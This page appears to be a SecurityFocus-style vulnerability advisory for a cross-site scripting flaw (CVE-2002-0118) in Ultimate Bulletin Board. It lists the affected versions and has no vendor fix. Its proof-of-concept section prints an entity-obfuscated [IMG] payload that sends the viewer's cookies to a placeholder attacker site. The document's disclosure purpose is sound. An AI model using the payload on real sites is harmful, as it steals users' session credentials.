Ultimate Bulletin Board Cross-Agent Scripting Vulnerability
BID:3829
Info
Ultimate Bulletin Board Cross-Agent Scripting Vulnerability
| Bugtraq ID: | 3829 |
| Class: | Input Validation Error |
| CVE: |
CVE-2002-0118 |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 09 2002 12:00AM |
| Updated: | Jul 11 2009 09:56AM |
| Credit: | This issue was reported to BugTraq on January 9th, 2002 by "Obscure" <[email protected]>. |
| Vulnerable: |
Infopop Ultimate Bulletin Board 6.2 .0 Beta Release 1.0 Infopop Ultimate Bulletin Board 6.0.4 f Infopop Ultimate Bulletin Board 6.0.3 Infopop Ultimate Bulletin Board 6.0.2 Infopop Ultimate Bulletin Board 6.0.1 Infopop Ultimate Bulletin Board 6.0 Beta Infopop Ultimate Bulletin Board 6.0 Infopop Ultimate Bulletin Board 5.43 Infopop Ultimate Bulletin Board 5.4.7 e |
| Not Vulnerable: | |
Discussion
Ultimate Bulletin Board Cross-Agent Scripting Vulnerability
UBB (Ultimate Bulletin Board) is commercial web forums/community software that is written in Perl. It runs on various Unix/Linux variants, as well as Microsoft Windows NT/2000.
UBB is prone to cross-agent scripting attacks via the insertion of HTML tags into image links in messages. Due to insufficient input validation, it is possible to insert arbitrary script code in forum messages/replies. The malicious script code will be executed in the browser of the user viewing the message, in the context of the site running UBB.
This makes it possible for a malicious user to post a message which is capable of stealing another legitimate user's cookie-based authentication credentials.
UBB (Ultimate Bulletin Board) is commercial web forums/community software that is written in Perl. It runs on various Unix/Linux variants, as well as Microsoft Windows NT/2000.
UBB is prone to cross-agent scripting attacks via the insertion of HTML tags into image links in messages. Due to insufficient input validation, it is possible to insert arbitrary script code in forum messages/replies. The malicious script code will be executed in the browser of the user viewing the message, in the context of the site running UBB.
This makes it possible for a malicious user to post a message which is capable of stealing another legitimate user's cookie-based authentication credentials.
Exploit / POC
Ultimate Bulletin Board Cross-Agent Scripting Vulnerability
The following example will send cookie-based authentication credentials to the attacker's site:
[IMG]javascr&#x69;pt:document.wr&#x69;te
&#x28;'<img%20src=&#x68;tt&#x70;://attackersite/tools/cookie.plx?
cookie='+escape&#x28;document.cook&#x69;e&#x29;+'>'&#x29;
[/IMG]
The following example will send cookie-based authentication credentials to the attacker's site:
[IMG]javascr&#x69;pt:document.wr&#x69;te
&#x28;'<img%20src=&#x68;tt&#x70;://attackersite/tools/cookie.plx?
cookie='+escape&#x28;document.cook&#x69;e&#x29;+'>'&#x29;
[/IMG]
Solution / Fix
Ultimate Bulletin Board Cross-Agent Scripting Vulnerability
Solution:
Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Ultimate Bulletin Board Cross-Agent Scripting Vulnerability
References:
References:
- Ultimate Bulletin Board Homepage (Infopop)